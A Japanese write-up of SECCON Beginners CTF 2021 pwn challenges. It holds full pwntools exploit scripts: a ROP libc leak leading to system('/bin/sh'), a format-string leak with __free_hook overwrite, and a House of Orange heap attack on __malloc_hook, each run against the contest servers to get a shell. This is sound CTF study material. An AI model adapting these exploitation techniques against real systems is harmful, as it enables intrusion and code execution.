SECCON Beginners CTF 2021 Writeup

目次

成績

etherknotで参加して38位でした。 pwn担当として、beginners_rop, uma_catch, freelessを解きました。

Writeup

pwn/writeup/2021/SECCON_Beginners at main · kisqragi/pwn · GitHub

beginners_rop

よくあるrop問題でした

from pwn import *

elf = ELF("./chall")
context.binary = elf
libc = ELF('./libc-2.27.so')

#s = process('./chall', env={'LD_PRELOAD' : './libc-2.27.so'})
s = remote('beginners-rop.quals.beginners.seccon.jp', 4102)

pop_rdi = 0x00401283
puts_plt = 0x401070
puts_got = 0x404018
main = 0x401196
ret = 0x40101a

offset = 264
payload = b'A' * offset
payload += p64(pop_rdi)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(main)

s.sendline(payload)
s.recvline()
libc_addr = u64((s.recvline()[:-1]).ljust(8, b'\00')) - libc.symbols.puts
print(hex(libc_addr))
libc.address = libc_addr

payload = b'A' * offset
payload += p64(pop_rdi)
payload += p64(next(libc.search(b'/bin/sh\x00')))
payload += p64(ret)
payload += p64(libc.symbols['system'])
s.sendline(payload)

s.interactive()

uma_catch

libcのアドレスはshowにFSBがあるので利用して__libc_start_main+231をリークして差分で求めます。
その後はreleaseしたumaに名前がつけられるのでそこを利用します。
nameの位置がfdの位置になるので、fdの位置を__free_hookにして、one_gadgetを書き込みます。
その後releaseしてfreeを呼び出せば終了です。

from pwn import *
elf = ELF("./chall")
context.binary = elf
libc = ELF("./libc-2.27.so")

#s = process('./chall')
s = remote('uma-catch.quals.beginners.seccon.jp', 4101)


def catch(index):
    s.sendlineafter('> ', '1')
    s.sendlineafter('> ', str(index))
    s.sendlineafter('> ', 'bay')

def naming(index, name):
    s.sendlineafter('> ', '2')
    s.sendlineafter('> ', str(index))
    s.sendlineafter('> ', name)

def show(index):
    s.sendlineafter('> ', '3')
    s.sendlineafter('> ', str(index))
    return s.recvline()[:-1]

def release(index):
    s.sendlineafter('> ', '5')
    s.sendlineafter('> ', str(index))

# libc leak
catch(0)
naming(0, '%{}$p'.format(11))
__libc_start_main_ret = int(show(0).strip(), 16) - 231
libc_base = __libc_start_main_ret - libc.symbols.__libc_start_main
print('libcbase:', hex(libc_base))
libc.address = libc_base
print('__free_hook:', hex(libc.symbols.__free_hook))

one_gadget = libc_base + 0x4f432

release(0)
naming(0, p64(libc.symbols.__free_hook))
catch(0)
catch(0)
naming(0, p64(one_gadget))
release(0)

s.interactive()

freeless

House of Orangeの問題でした。
全く理解はしていません...
MalleusCTFをコピペして解きました。
終了後に勉強します。

from pwn import *

elf = ELF('./chall')
libc = ELF('./libc-2.31.so')
context.binary = elf

#s = process('./chall', env={'LD_PRELOAD' : './libc-2.31.so'})
s = remote('freeless.quals.beginners.seccon.jp', 9077)

def new(index, size):
    s.sendlineafter('> ', '1')
    s.sendlineafter('index: ', str(index))
    s.sendlineafter('size: ', str(size))

def edit(index, data):
    s.sendlineafter('> ', '2')
    s.sendlineafter('index: ', str(index))
    s.sendlineafter('data: ', data)

def show(index):
    s.sendlineafter('> ', '3')
    s.sendlineafter('index: ', str(index))
    s.recvuntil('data: ')
    return s.recvline()[:-1]

A = 0 
B = 1
C = 2
D = 3
E = 4
F = 5
G = 6
    
new(A, 0x10)
edit(A, b'a'*0x18+pack(0xd51))
new(B, 0xd30)
new(C, 0xd20)

unsort = u64(show(C).ljust(8, b'\0'))
libc_base = unsort - (0x1ebb80 + 0x60)
libc.address = libc_base
print('libcbase:', hex(libc_base))

edit(B, b'b'*0xd38+pack(0x2c1))
new(D, 0xd30)
edit(D, b'd'*0xd38+pack(0x2c1))
new(E, 0x2a0)

edit(D, b'd'*0xd38+pack(0x2a1)+pack(libc.symbols.__malloc_hook))

new(F, 0x290)
new(G, 0x290)

one_gadget = libc_base + 0xe6c81

edit(G, p64(one_gadget))

new(G+1, 0)

s.interactive()